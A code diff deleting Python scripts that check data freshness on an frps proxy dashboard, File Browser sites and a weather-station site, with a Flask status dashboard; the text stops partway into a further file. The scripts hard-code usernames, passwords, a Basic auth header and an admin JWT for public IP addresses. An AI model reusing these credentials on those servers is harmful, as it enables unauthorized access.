1.1/frps.py
@ -1,135 +0,0 @@
|
||||
import requests
|
||||
import json
|
||||
import os
|
||||
from datetime import datetime
|
||||
|
||||
# --- 配置保持不变 ---
|
||||
BASE_URL = "http://106.75.72.40:7500/api/proxy/tcp"
|
||||
PRIMARY_AUTH = "Basic YWRtaW46bGljYWhr"
|
||||
X_AUTH = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLCJsb2NhbGUiOiJ6aC1jbiIsInZpZXdNb2RlIjoibGlzdCIsInNpbmdsZUNsaWNrIjpmYWxzZSwicGVybSI6eyJhZG1pbiI6dHJ1ZSwiZXhlY3V0ZSI6dHJ1ZSwiY3JlYXRlIjp0cnVlLCJyZW5hbWUiOnRydWUsIm1vZGlmeSI6dHJ1ZSwiZGVsZXRlIjp0cnVlLCJzaGFyZSI6dHJ1ZSwiZG93bmxvYWQiOnRydWV9LCJjb21tYW5kcyI6W10sImxvY2tQYXNzd29yZCI6ZmFsc2UsImhpZGVEb3RmaWxlcyI6ZmFsc2V9LCJleHAiOjE3Njc2Njg3NzgsImlhdCI6MTc2NzY2MTU3OCwiaXNzIjoiRmlsZSBCcm93c2VyIn0.z9zycFSf3XpUDRhGjziUJ-PUeHIsRba23AI6itqXM-w"
|
||||
|
||||
headers = {
|
||||
"Authorization": PRIMARY_AUTH,
|
||||
"x-auth": X_AUTH,
|
||||
"User-Agent": "Mozilla/5.0"
|
||||
}
|
||||
|
||||
|
||||
def get_today_str():
|
||||
return datetime.now().strftime("%Y_%m_%d")
|
||||
|
||||
|
||||
def find_closest_item(items, is_date_level=True):
|
||||
if not items or not isinstance(items, list): return None
|
||||
today = datetime.now()
|
||||
scored_items = []
|
||||
for item in items:
|
||||
if not isinstance(item, dict): continue
|
||||
path = item.get('path', '')
|
||||
if not path: continue
|
||||
try:
|
||||
if is_date_level:
|
||||
date_str = path.split('/')[-1]
|
||||
current_date = datetime.strptime(date_str, "%Y_%m_%d")
|
||||
else:
|
||||
mod_str = item.get('modified', '')
|
||||
if mod_str:
|
||||
current_date = datetime.fromisoformat(mod_str.replace('Z', '+00:00'))
|
||||
else:
|
||||
continue
|
||||
diff = abs((today - current_date.replace(tzinfo=None)).total_seconds())
|
||||
scored_items.append((diff, item))
|
||||
except:
|
||||
continue
|
||||
|
||||
if not scored_items: return None
|
||||
scored_items.sort(key=lambda x: x[0])
|
||||
return scored_items[0][1]
|
||||
|
||||
|
||||
def debug_process_106():
|
||||
today_str = get_today_str()
|
||||
print(f"=== 开始 106 网站深度调试 (目标日期: {today_str}) ===")
|
||||
|
||||
try:
|
||||
resp = requests.get(BASE_URL, headers=headers, timeout=15)
|
||||
if resp.status_code != 200:
|
||||
print(f"❌ 错误: 主接口访问失败, 状态码: {resp.status_code}")
|
||||
return
|
||||
|
||||
proxies = resp.json().get('proxies', [])
|
||||
data_proxies = [p for p in proxies if p.get('name', '').endswith('_data')]
|
||||
|
||||
for item in data_proxies:
|
||||
name = item.get('name', 'Unknown')
|
||||
# 每一个站点的处理都包裹在独立的 try 里,防止相互干扰
|
||||
try:
|
||||
status = str(item.get('status', '')).lower().strip()
|
||||
conf = item.get('conf') or {}
|
||||
port = conf.get('remote_port')
|
||||
|
||||
print(f"--- [检查站点: {name}] ---")
|
||||
|
||||
if status != 'online':
|
||||
print(f" ⚠ 判定错误: 站点离线 ({status})")
|
||||
continue
|
||||
|
||||
if not port:
|
||||
print(f" ❌ 判定错误: 缺少端口配置")
|
||||
continue
|
||||
|
||||
# Data 目录请求
|
||||
res2 = requests.get(f"http://106.75.72.40:{port}/api/resources/Data/", headers=headers, timeout=10)
|
||||
if res2.status_code != 200:
|
||||
print(f" ❌ 判定错误: Data目录 HTTP {res2.status_code}")
|
||||
continue
|
||||
|
||||
it2 = res2.json().get('items', [])
|
||||
closest_date = find_closest_item(it2, True)
|
||||
if not closest_date:
|
||||
print(f" ❌ 判定错误: Data目录为空")
|
||||
continue
|
||||
|
||||
path_date = closest_date.get('path', '')
|
||||
date_val = path_date.split('/')[-1]
|
||||
|
||||
if date_val != today_str:
|
||||
print(f" ⚠ 判定错误: 日期不符 (最新: {date_val})")
|
||||
continue
|
||||
|
||||
# 文件列表请求
|
||||
res3 = requests.get(f"http://106.75.72.40:{port}/api/resources{path_date}/", headers=headers,
|
||||
timeout=10)
|
||||
it3 = res3.json().get('items', [])
|
||||
closest_file = find_closest_item(it3, False)
|
||||
if not closest_file:
|
||||
print(f" ❌ 判定错误: 日期文件夹内无文件")
|
||||
continue
|
||||
|
||||
# 文件内容请求 - 关键防御点
|
||||
path_csv = closest_file.get('path', '')
|
||||
res4 = requests.get(f"http://106.75.72.40:{port}/api/resources{path_csv}", headers=headers, timeout=10)
|
||||
|
||||
try:
|
||||
file_data = res4.json()
|
||||
if file_data is None:
|
||||
print(f" ❌ 判定错误: 接口返回了 Null (NoneType)")
|
||||
continue
|
||||
|
||||
content = file_data.get('content', '')
|
||||
if not content:
|
||||
print(f" ❌ 判定错误: content 字段为空")
|
||||
else:
|
||||
print(f" ✅ 检查通过: 数据最新,长度 {len(content)}")
|
||||
except Exception as json_e:
|
||||
print(f" ❌ 判定错误: 解析 JSON 失败 (非标准格式)")
|
||||
|
||||
except Exception as site_e:
|
||||
print(f" ❌ 判定错误: 站点逻辑崩溃: {site_e}")
|
||||
|
||||
except Exception as global_e:
|
||||
print(f"❌ 全局严重错误: {global_e}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
debug_process_106()
|
||||
@ -1,169 +0,0 @@
|
||||
import requests
|
||||
import json
|
||||
import os
|
||||
from datetime import datetime
|
||||
|
||||
# --- 基础配置 ---
|
||||
BASE_URL = "http://106.75.72.40:7500/api/proxy/tcp"
|
||||
PRIMARY_AUTH = "Basic YWRtaW46bGljYWhr"
|
||||
LOGIN_PAYLOAD = {"username": "admin", "password": "licahk", "recaptcha": ""}
|
||||
|
||||
SAVE_DIR = "downloaded_data"
|
||||
if not os.path.exists(SAVE_DIR):
|
||||
os.makedirs(SAVE_DIR)
|
||||
|
||||
|
||||
def get_today_str():
|
||||
return datetime.now().strftime("%Y_%m_%d")
|
||||
|
||||
|
||||
def get_dynamic_token(port):
|
||||
"""
|
||||
为指定端口的站点执行登录,获取最新的 x-auth token
|
||||
"""
|
||||
login_url = f"http://106.75.72.40:{port}/api/login"
|
||||
try:
|
||||
# 登录不需要 x-auth,只需要 Basic Auth 或特定的 Payload
|
||||
resp = requests.post(login_url, json=LOGIN_PAYLOAD, timeout=10)
|
||||
if resp.status_code == 200:
|
||||
# 登录成功后,token 通常直接返回在响应体中(纯字符串或 JSON)
|
||||
token = resp.text.strip().replace('"', '')
|
||||
return token
|
||||
else:
|
||||
print(f" ❌ 登录失败: 端口 {port}, 状态码 {resp.status_code}")
|
||||
return None
|
||||
except Exception as e:
|
||||
print(f" ❌ 登录异常: {port}, {e}")
|
||||
return None
|
||||
|
||||
|
||||
def find_closest_item(items, is_date_level=True):
|
||||
if not items or not isinstance(items, list): return None
|
||||
today = datetime.now()
|
||||
scored_items = []
|
||||
today_str = get_today_str()
|
||||
|
||||
for item in items:
|
||||
name_val = item.get('name', '')
|
||||
path_val = item.get('path', '')
|
||||
target_str = name_val if name_val else path_val.split('/')[-1]
|
||||
|
||||
try:
|
||||
if is_date_level:
|
||||
current_date = datetime.strptime(target_str, "%Y_%m_%d")
|
||||
else:
|
||||
mod_str = item.get('modified', '')
|
||||
current_date = datetime.fromisoformat(mod_str.replace('Z', '+00:00'))
|
||||
|
||||
diff = abs((today - current_date.replace(tzinfo=None)).total_seconds())
|
||||
scored_items.append((diff, item, target_str))
|
||||
except:
|
||||
continue
|
||||
|
||||
if not scored_items: return None
|
||||
scored_items.sort(key=lambda x: x[0])
|
||||
return scored_items[0]
|
||||
|
||||
|
||||
def process_site(proxy_item):
|
||||
name = proxy_item.get('name', '')
|
||||
# 严格过滤:只处理以 _data 结尾的站点
|
||||
if not name.lower().endswith('_data'):
|
||||
return
|
||||
|
||||
name_upper = name.upper()
|
||||
is_tower_underscore = "TOWER_" in name_upper
|
||||
is_tower_i = "TOWER" in name_upper and not is_tower_underscore
|
||||
|
||||
if not (is_tower_underscore or is_tower_i):
|
||||
return
|
||||
|
||||
print(f"\n--- [正在处理站点: {name}] ---")
|
||||
try:
|
||||
port = proxy_item.get('conf', {}).get('remote_port')
|
||||
if not port: return
|
||||
|
||||
# 动态获取当前站点的 Token
|
||||
token = get_dynamic_token(port)
|
||||
if not token:
|
||||
print(f" 跳过: 无法获取有效的 x-auth")
|
||||
return
|
||||
|
||||
headers = {
|
||||
"Authorization": PRIMARY_AUTH,
|
||||
"x-auth": token,
|
||||
"User-Agent": "Mozilla/5.0"
|
||||
}
|
||||
today_str = get_today_str()
|
||||
|
||||
# Step 1: 进入 data 根目录 (路径根据类型区分大小写)
|
||||
api_root = "/api/resources/Data/" if is_tower_underscore else "/api/resources/data/"
|
||||
res1 = requests.get(f"http://106.75.72.40:{port}{api_root}", headers=headers, timeout=10)
|
||||
|
||||
# Step 2: 寻找并进入日期目录
|
||||
items1 = res1.json().get('items', [])
|
||||
best_date = find_closest_item(items1, is_date_level=True)
|
||||
if not best_date or best_date[2] != today_str:
|
||||
print(f" ⚠ 跳过: 未找到今日 ({today_str}) 的文件夹")
|
||||
return
|
||||
|
||||
date_path = f"{api_root}{best_date[2]}/"
|
||||
res2 = requests.get(f"http://106.75.72.40:{port}{date_path}", headers=headers, timeout=10)
|
||||
|
||||
# Step 3: 寻找日期目录下的最新文件
|
||||
items2 = res2.json().get('items', [])
|
||||
best_file = find_closest_item(items2, is_date_level=False)
|
||||
if not best_file:
|
||||
print(f" ❌ 日期文件夹内无文件")
|
||||
return
|
||||
|
||||
# 获取文件的完整 path
|
||||
file_item = best_file[1]
|
||||
full_path = file_item.get('path')
|
||||
if not full_path:
|
||||
full_path = f"{date_path}{file_item.get('name')}"
|
||||
|
||||
# --- 获取内容层级 (根据站点类型采用不同接口) ---
|
||||
if is_tower_i:
|
||||
# TowerI 模式:使用 /api/raw/{path} 获取二进制流
|
||||
download_url = f"http://106.75.72.40:{port}/api/raw{full_path}"
|
||||
res3 = requests.get(download_url, headers=headers, timeout=20, stream=True)
|
||||
if res3.status_code == 200:
|
||||
save_path = os.path.join(SAVE_DIR, f"{name}_{today_str}.bin")
|
||||
with open(save_path, 'wb') as f:
|
||||
f.write(res3.content)
|
||||
print(f" ✅ 二进制保存成功: {save_path} (大小: {len(res3.content)} 字节)")
|
||||
else:
|
||||
# Tower_ 模式:原来的 JSON content 模式
|
||||
file_api_url = f"http://106.75.72.40:{port}/api/resources{full_path}"
|
||||
res3 = requests.get(file_api_url, headers=headers, timeout=20)
|
||||
try:
|
||||
content_str = res3.json().get('content', '')
|
||||
if content_str:
|
||||
save_path = os.path.join(SAVE_DIR, f"{name}_{today_str}.json")
|
||||
with open(save_path, 'w', encoding='utf-8') as f:
|
||||
f.write(content_str)
|
||||
print(f" ✅ JSON数据保存成功: {save_path}")
|
||||
except:
|
||||
print(f" ❌ TOWER_ 站点格式错误或无内容")
|
||||
|
||||
except Exception as e:
|
||||
print(f" ❌ 站点处理失败: {str(e)}")
|
||||
|
||||
|
||||
def main():
|
||||
print(f"任务启动: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
|
||||
# 主接口获取站点列表
|
||||
try:
|
||||
# 注意:主控制台可能也需要 token,这里先用硬编码,如果不行也需要为 7500 端口做登录
|
||||
main_headers = {"Authorization": PRIMARY_AUTH, "User-Agent": "Mozilla/5.0"}
|
||||
resp = requests.get(BASE_URL, headers=main_headers, timeout=15)
|
||||
proxies = resp.json().get('proxies', [])
|
||||
for p in proxies:
|
||||
process_site(p)
|
||||
except Exception as e:
|
||||
print(f"❌ 全局错误: {e}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
327
1.1/test1.py
327
1.1/test1.py
@ -1,327 +0,0 @@
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import threading
|
||||
import requests
|
||||
import logging
|
||||
from datetime import datetime
|
||||
from flask import Flask, jsonify, send_from_directory
|
||||
from flask_sqlalchemy import SQLAlchemy
|
||||
from flask_cors import CORS
|
||||
from flask_apscheduler import APScheduler
|
||||
from lxml import etree
|
||||
|
||||
# --- 配置日志 ---
|
||||
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
|
||||
|
||||
|
||||
# --- 关键路径处理函数 (适配 PyInstaller) ---
|
||||
def get_base_path():
|
||||
"""获取运行时及其所在目录,适配开发环境和打包后的EXE环境"""
|
||||
if getattr(sys, 'frozen', False):
|
||||
# 如果是打包后的 exe,sys.executable 是 exe 的路径
|
||||
return os.path.dirname(sys.executable)
|
||||
# 开发环境下,是当前脚本的路径
|
||||
return os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
|
||||
def get_static_path():
|
||||
"""获取 Vue 静态资源 dist 的路径"""
|
||||
if getattr(sys, 'frozen', False):
|
||||
# PyInstaller 打包时,资源文件会被解压到 sys._MEIPASS 临时目录
|
||||
# 我们需要在打包命令中指定 --add-data "dist;dist"
|
||||
return os.path.join(sys._MEIPASS, 'dist')
|
||||
# 开发环境
|
||||
return os.path.join(os.path.dirname(os.path.abspath(__file__)), 'dist')
|
||||
|
||||
|
||||
# --- Flask 初始化 ---
|
||||
# static_folder 指向 Vue 打包后的 dist 目录
|
||||
# static_url_path='' 表示静态文件不需要 /static 前缀
|
||||
dist_folder = get_static_path()
|
||||
app = Flask(__name__, static_folder=dist_folder, static_url_path='')
|
||||
CORS(app)
|
||||
|
||||
# --- 数据库配置 ---
|
||||
# 确保数据库生成在 exe 同级目录下,而不是临时文件夹中
|
||||
db_path = os.path.join(get_base_path(), 'monitor_data.db')
|
||||
app.config['SQLALCHEMY_DATABASE_URI'] = f'sqlite:///{db_path}'
|
||||
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
|
||||
app.config['SCHEDULER_API_ENABLED'] = True
|
||||
|
||||
db = SQLAlchemy(app)
|
||||
scheduler = APScheduler()
|
||||
|
||||
|
||||
# --- 模型定义 (保持不变) ---
|
||||
class MonitorRecord(db.Model):
|
||||
id = db.Column(db.Integer, primary_key=True)
|
||||
source = db.Column(db.String(50))
|
||||
name = db.Column(db.String(100))
|
||||
status = db.Column(db.String(50))
|
||||
reason = db.Column(db.String(255))
|
||||
offset = db.Column(db.String(50))
|
||||
latest_time = db.Column(db.String(50))
|
||||
check_time = db.Column(db.String(50))
|
||||
content = db.Column(db.Text, nullable=True)
|
||||
|
||||
|
||||
with app.app_context():
|
||||
db.create_all()
|
||||
|
||||
# --- 爬虫配置 (保持不变) ---
|
||||
CONFIG = {
|
||||
"106": {
|
||||
"base_url": "http://106.75.72.40:7500/api/proxy/tcp",
|
||||
"primary_auth": "Basic YWRtaW46bGljYWhr",
|
||||
"login_payload": {"username": "admin", "password": "licahk", "recaptcha": ""}
|
||||
},
|
||||
"82": {
|
||||
"base_url": "http://82.156.1.111/weather/php",
|
||||
"login": {'username': 'renlixin', 'password': 'licahk', 'login': '123'}
|
||||
}
|
||||
}
|
||||
|
||||
is_running = False
|
||||
|
||||
|
||||
# --- 核心辅助函数 (保持不变) ---
|
||||
def calculate_offset(latest_time_str):
|
||||
if not latest_time_str or latest_time_str == "N/A":
|
||||
return "从未同步"
|
||||
try:
|
||||
clean_date_str = str(latest_time_str).split()[0].replace('_', '-')
|
||||
target_date = datetime.strptime(clean_date_str, "%Y-%m-%d").date()
|
||||
diff = (datetime.now().date() - target_date).days
|
||||
if diff == 0: return "当天已同步"
|
||||
return f"滞后 {diff} 天"
|
||||
except:
|
||||
return "时间解析失败"
|
||||
|
||||
|
||||
def save_record(source, name, status, reason, latest_time="N/A", content=None):
|
||||
record = MonitorRecord.query.filter_by(source=source, name=name).first()
|
||||
now_str = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
current_offset = calculate_offset(latest_time)
|
||||
|
||||
if record:
|
||||
if content is not None: record.content = content
|
||||
if latest_time != "N/A": record.latest_time = latest_time
|
||||
record.status = status
|
||||
record.reason = reason
|
||||
record.check_time = now_str
|
||||
time_base = latest_time if latest_time != "N/A" else record.latest_time
|
||||
record.offset = calculate_offset(time_base)
|
||||
else:
|
||||
new_record = MonitorRecord(
|
||||
source=source, name=name, status=status, reason=reason,
|
||||
offset=current_offset, latest_time=latest_time,
|
||||
check_time=now_str, content=content
|
||||
)
|
||||
db.session.add(new_record)
|
||||
try:
|
||||
db.session.commit()
|
||||
except Exception as e:
|
||||
db.session.rollback()
|
||||
logging.error(f"DB Error: {e}")
|
||||
return f"{source}_{name}"
|
||||
|
||||
|
||||
# --- 业务逻辑函数 (保持不变) ---
|
||||
def get_106_dynamic_token(port):
|
||||
try:
|
||||
login_url = f"http://106.75.72.40:{port}/api/login"
|
||||
resp = requests.post(login_url, json=CONFIG["106"]["login_payload"], timeout=10)
|
||||
return resp.text.strip().replace('"', '') if resp.status_code == 200 else None
|
||||
except:
|
||||
return None
|
||||
|
||||
|
||||
def find_closest_item(items, is_date_level=True):
|
||||
if not items or not isinstance(items, list): return None
|
||||
today = datetime.now()
|
||||
scored_items = []
|
||||
for item in items:
|
||||
name_val = item.get('name', '')
|
||||
path_val = item.get('path', '')
|
||||
target_str = name_val if name_val else path_val.split('/')[-1]
|
||||
try:
|
||||
if is_date_level:
|
||||
current_date = datetime.strptime(target_str, "%Y_%m_%d")
|
||||
else:
|
||||
mod_str = item.get('modified', '')
|
||||
current_date = datetime.fromisoformat(mod_str.replace('Z', '+00:00'))
|
||||
diff = abs((today - current_date.replace(tzinfo=None)).total_seconds())
|
||||
scored_items.append((diff, item, target_str))
|
||||
except:
|
||||
continue
|
||||
if not scored_items: return None
|
||||
scored_items.sort(key=lambda x: x[0])
|
||||
return scored_items[0]
|
||||
|
||||
|
||||
def run_106_logic(active_set):
|
||||
# (保持原样,省略以节省空间,直接用你原本的逻辑即可)
|
||||
c = CONFIG["106"]
|
||||
today_str = datetime.now().strftime("%Y_%m_%d")
|
||||
main_headers = {"Authorization": c["primary_auth"], "User-Agent": "Mozilla/5.0"}
|
||||
try:
|
||||
resp = requests.get(c["base_url"], headers=main_headers, timeout=20)
|
||||
proxies = resp.json().get('proxies', [])
|
||||
for item in proxies:
|
||||
name = item.get('name', '')
|
||||
if not name.lower().endswith('_data'): continue
|
||||
if "TOWER" not in name.upper(): continue
|
||||
if str(item.get('status')).lower() != 'online':
|
||||
key = save_record("106网站", name, "离线", f"设备状态: {item.get('status')}")
|
||||
active_set.add(key)
|
||||
continue
|
||||
try:
|
||||
port = item.get('conf', {}).get('remote_port')
|
||||
token = get_106_dynamic_token(port)
|
||||
if not token:
|
||||
key = save_record("106网站", name, "异常", "Token获取失败")
|
||||
active_set.add(key)
|
||||
continue
|
||||
headers = {"Authorization": c["primary_auth"], "x-auth": token}
|
||||
api_root = "/api/resources/Data/" if "TOWER_" in name.upper() else "/api/resources/data/"
|
||||
res1 = requests.get(f"http://106.75.72.40:{port}{api_root}", headers=headers, timeout=10)
|
||||
best_date = find_closest_item(res1.json().get('items', []), True)
|
||||
if not best_date or best_date[2] != today_str:
|
||||
key = save_record("106网站", name, "正常", "未找到今日文件夹",
|
||||
latest_time=best_date[2] if best_date else "N/A")
|
||||
active_set.add(key)
|
||||
continue
|
||||
date_path = f"{api_root}{best_date[2]}/"
|
||||
res2 = requests.get(f"http://106.75.72.40:{port}{date_path}", headers=headers, timeout=10)
|
||||
best_file = find_closest_item(res2.json().get('items', []), False)
|
||||
if not best_file:
|
||||
key = save_record("106网站", name, "正常", "今日文件夹为空", latest_time=today_str)
|
||||
active_set.add(key)
|
||||
continue
|
||||
file_item = best_file[1]
|
||||
full_path = file_item.get('path') or f"{date_path}{file_item.get('name')}"
|
||||
is_tower_i = "TOWER" in name.upper() and "TOWER_" not in name.upper()
|
||||
if is_tower_i:
|
||||
download_url = f"http://106.75.72.40:{port}/api/raw{full_path}"
|
||||
res3 = requests.get(download_url, headers=headers, timeout=20)
|
||||
final_content = f"Binary Data Size: {len(res3.content)}"
|
||||
else:
|
||||
file_api_url = f"http://106.75.72.40:{port}/api/resources{full_path}"
|
||||
res3 = requests.get(file_api_url, headers=headers, timeout=20)
|
||||
final_content = res3.json().get('content', '')
|
||||
key = save_record("106网站", name, "正常", "同步成功", latest_time=today_str, content=final_content)
|
||||
active_set.add(key)
|
||||
except Exception as e:
|
||||
key = save_record("106网站", name, "异常", f"采集错误: {str(e)[:50]}")
|
||||
active_set.add(key)
|
||||
except Exception as e:
|
||||
logging.error(f"106 Global Error: {e}")
|
||||
|
||||
|
||||
def run_82_logic(active_set):
|
||||
# (保持原样,直接用你原本的逻辑即可)
|
||||
c = CONFIG["82"]
|
||||
session = requests.Session()
|
||||
try:
|
||||
session.post(f"{c['base_url']}/login.php", data=c["login"], timeout=10)
|
||||
resp = session.post(f"{c['base_url']}/GetStationList.php", timeout=10)
|
||||
stations = etree.HTML(resp.content).xpath('//option/@value')
|
||||
for sid in [s for s in stations if s]:
|
||||
try:
|
||||
r = session.post(f"{c['base_url']}/getLastWeatherData.php", data=str(sid),
|
||||
headers={'Content-Type': 'text/plain'}, timeout=10)
|
||||
data = r.json()
|
||||
if data:
|
||||
d_list = data.get('date', [])
|
||||
latest = str(d_list[-1]) if d_list else "N/A"
|
||||
key = save_record("82网站", sid, "正常", "同步成功", latest_time=latest,
|
||||
content=json.dumps(data, ensure_ascii=False))
|
||||
active_set.add(key)
|
||||
else:
|
||||
key = save_record("82网站", sid, "异常", "返回空数据")
|
||||
active_set.add(key)
|
||||
except:
|
||||
key = save_record("82网站", sid, "异常", "单个采集失败")
|
||||
active_set.add(key)
|
||||
except Exception as e:
|
||||
logging.error(f"82 Global Error: {e}")
|
||||
|
||||
|
||||
def execute_monitor_task():
|
||||
global is_running
|
||||
if is_running: return
|
||||
is_running = True
|
||||
logging.info("Starting monitor task...")
|
||||
with app.app_context():
|
||||
active_set = set()
|
||||
run_106_logic(active_set)
|
||||
run_82_logic(active_set)
|
||||
all_records = MonitorRecord.query.all()
|
||||
now_str = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
for record in all_records:
|
||||
if f"{record.source}_{record.name}" not in active_set:
|
||||
record.status = "已离线"
|
||||
record.reason = "设备本次未出现"
|
||||
record.check_time = now_str
|
||||
record.offset = calculate_offset(record.latest_time)
|
||||
try:
|
||||
db.session.commit()
|
||||
except:
|
||||
db.session.rollback()
|
||||
is_running = False
|
||||
logging.info("Monitor task finished.")
|
||||
|
||||
|
||||
# --- API 路由 (保持不变) ---
|
||||
@app.route('/api/run', methods=['POST'])
|
||||
def manual_start():
|
||||
if is_running: return jsonify({"status": "busy"}), 400
|
||||
threading.Thread(target=execute_monitor_task).start()
|
||||
return jsonify({"status": "started"})
|
||||
|
||||
|
||||
@app.route('/api/status')
|
||||
def status(): return jsonify({"is_running": is_running})
|
||||
|
||||
|
||||
@app.route('/api/logs')
|
||||
def logs():
|
||||
data = MonitorRecord.query.all()
|
||||
return jsonify([{
|
||||
"source": l.source, "name": l.name, "status": l.status,
|
||||
"reason": l.reason, "offset": l.offset, "latest_time": l.latest_time,
|
||||
"check_time": l.check_time, "content": l.content
|
||||
} for l in data])
|
||||
|
||||
|
||||
# --- 新增: 前端页面托管路由 ---
|
||||
@app.route('/')
|
||||
def serve_index():
|
||||
return send_from_directory(app.static_folder, 'index.html')
|
||||
|
||||
|
||||
@app.route('/<path:path>')
|
||||
def serve_static_files(path):
|
||||
# 尝试在 dist 目录寻找文件 (css, js, icons)
|
||||
file_path = os.path.join(app.static_folder, path)
|
||||
if os.path.exists(file_path):
|
||||
return send_from_directory(app.static_folder, path)
|
||||
# 如果找不到文件(例如刷新页面时的路由),返回index.html让Vue Router处理
|
||||
return send_from_directory(app.static_folder, 'index.html')
|
||||
|
||||
|
||||
# --- 调度器与启动 ---
|
||||
@scheduler.task('cron', id='daily_job', hour=10, minute=0)
|
||||
def auto_run_task():
|
||||
with app.app_context():
|
||||
threading.Thread(target=execute_monitor_task).start()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
scheduler.init_app(app)
|
||||
scheduler.start()
|
||||
# Host='0.0.0.0' 允许外部IP访问
|
||||
# Port=5000 (确保 Windows 防火墙开放了此端口)
|
||||
print("应用正在启动... 请确保 dist 文件夹与脚本/exe 同级或已被打包")
|
||||
app.run(host='0.0.0.0', port=5000, debug=False, use_reloader=False)
|
||||
@ -1,121 +0,0 @@
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import requests
|
||||
from lxml import etree
|
||||
from datetime import datetime
|
||||
|
||||
# --- 配置区 ---
|
||||
BASE_URL = "http://82.156.1.111/weather/php"
|
||||
LOGIN_DATA = {'username': 'renlixin', 'password': 'licahk', 'login': '123'}
|
||||
OUTPUT_DIR = "weather_data_test"
|
||||
os.makedirs(OUTPUT_DIR, exist_ok=True)
|
||||
|
||||
session = requests.Session()
|
||||
|
||||
|
||||
def fetch_stations():
|
||||
resp = session.post(f"{BASE_URL}/GetStationList.php")
|
||||
if resp.status_code != 200: return []
|
||||
tree = etree.HTML(resp.content)
|
||||
stations = [s for s in tree.xpath('//option/@value') if s and str(s).strip()]
|
||||
return stations
|
||||
|
||||
|
||||
def get_latest_data_item(station_id, data_list):
|
||||
"""
|
||||
核心改进:从列表中筛选出日期距离今天最近的一条数据
|
||||
"""
|
||||
if not data_list or not isinstance(data_list, list):
|
||||
return None
|
||||
|
||||
today = datetime.now().date()
|
||||
parsed_items = []
|
||||
|
||||
for item in data_list:
|
||||
try:
|
||||
# 兼容处理:如果是字符串列表,直接解析;如果是对象列表,取特定键
|
||||
date_str = item.split()[0] if isinstance(item, str) else item.get('date', '').split()[0]
|
||||
current_date = datetime.strptime(date_str, "%Y-%m-%d").date()
|
||||
|
||||
# 计算与今天的差异(天数绝对值)
|
||||
diff = abs((today - current_date).days)
|
||||
parsed_items.append({
|
||||
'diff': diff,
|
||||
'date_obj': current_date,
|
||||
'original_data': item
|
||||
})
|
||||
except:
|
||||
continue
|
||||
|
||||
if not parsed_items:
|
||||
return None
|
||||
|
||||
# --- 逻辑更新:按时间差异升序排序(diff越小说明离今天越近) ---
|
||||
parsed_items.sort(key=lambda x: x['diff'])
|
||||
|
||||
# 返回距离最近的那一条原始数据
|
||||
return parsed_items[0]
|
||||
|
||||
|
||||
def save_json(name, data):
|
||||
path = os.path.join(OUTPUT_DIR, f"{name}.json")
|
||||
with open(path, 'w', encoding='utf-8') as f:
|
||||
json.dump(data, f, indent=2, ensure_ascii=False)
|
||||
|
||||
|
||||
def main():
|
||||
print("正在登录...")
|
||||
session.post(f"{BASE_URL}/login.php", data=LOGIN_DATA)
|
||||
|
||||
stations = fetch_stations()
|
||||
print(f"成功获取 {len(stations)} 个有效站点")
|
||||
|
||||
for i, sid in enumerate(stations, 1):
|
||||
print(f"[{i}/{len(stations)}] 处理站点: {sid}")
|
||||
try:
|
||||
resp = session.post(f"{BASE_URL}/getLastWeatherData.php",
|
||||
data=str(sid),
|
||||
headers={'Content-Type': 'text/plain'})
|
||||
|
||||
if resp.status_code == 200:
|
||||
full_data = resp.json()
|
||||
|
||||
# 假设 API 返回的 JSON 中 'date' 键对应的是数据列表
|
||||
# 我们调用 get_latest_data_item 来锁定那唯一的一条最新数据
|
||||
data_key = 'date' if 'date' in full_data else 'items' # 根据实际键名调整
|
||||
target_list = full_data.get(data_key, [])
|
||||
|
||||
latest_result = get_latest_data_item(sid, target_list)
|
||||
|
||||
if latest_result:
|
||||
# 重新构造保存内容:只保留最接近今天的数据
|
||||
final_payload = {
|
||||
"proxy_name": sid,
|
||||
"status": "online",
|
||||
"latest_date": str(latest_result['date_obj']),
|
||||
"days_diff": latest_result['diff'],
|
||||
"data_content": latest_result['original_data']
|
||||
}
|
||||
|
||||
# 如果不是今天,输出警告
|
||||
if latest_result['diff'] != 0:
|
||||
print(f" ⚠️ 非当天数据: {latest_result['date_obj']} (差 {latest_result['diff']} 天)")
|
||||
else:
|
||||
print(f" ✨ 数据已同步至今天")
|
||||
|
||||
save_json(sid, final_payload)
|
||||
else:
|
||||
print(f" ⚪ 站点 {sid} 未找到有效日期数据")
|
||||
|
||||
else:
|
||||
print(f" ❌ 请求失败: {resp.status_code}")
|
||||
|
||||
except Exception as e:
|
||||
print(f" ❌ 错误: {e}")
|
||||
|
||||
time.sleep(0.3)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
291
1.1/整合.py
291
1.1/整合.py
@ -1,291 +0,0 @@
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import requests
|
||||
import pandas as pd
|
||||
from lxml import etree
|
||||
from datetime import datetime
|
||||
|
||||
# --- 基础配置 ---
|
||||
DATA_ROOT = "data"
|
||||
FRPS_DIR = os.path.join(DATA_ROOT, "frps_106")
|
||||
WEATHER_DIR = os.path.join(DATA_ROOT, "weather_82")
|
||||
EXCEL_PATH = os.path.join(DATA_ROOT, "error_report.xlsx")
|
||||
|
||||
for d in [FRPS_DIR, WEATHER_DIR]:
|
||||
os.makedirs(d, exist_ok=True)
|
||||
|
||||
CONFIG = {
|
||||
"106": {
|
||||
"base_url": "http://106.75.72.40:7500/api/proxy/tcp",
|
||||
"primary_auth": "Basic YWRtaW46bGljYWhr",
|
||||
"login_payload": {"username": "admin", "password": "licahk", "recaptcha": ""}
|
||||
},
|
||||
"82": {
|
||||
"base_url": "http://82.156.1.111/weather/php",
|
||||
"login": {'username': 'renlixin', 'password': 'licahk', 'login': '123'}
|
||||
}
|
||||
}
|
||||
|
||||
error_logs = []
|
||||
|
||||
|
||||
# --- 通用工具函数 ---
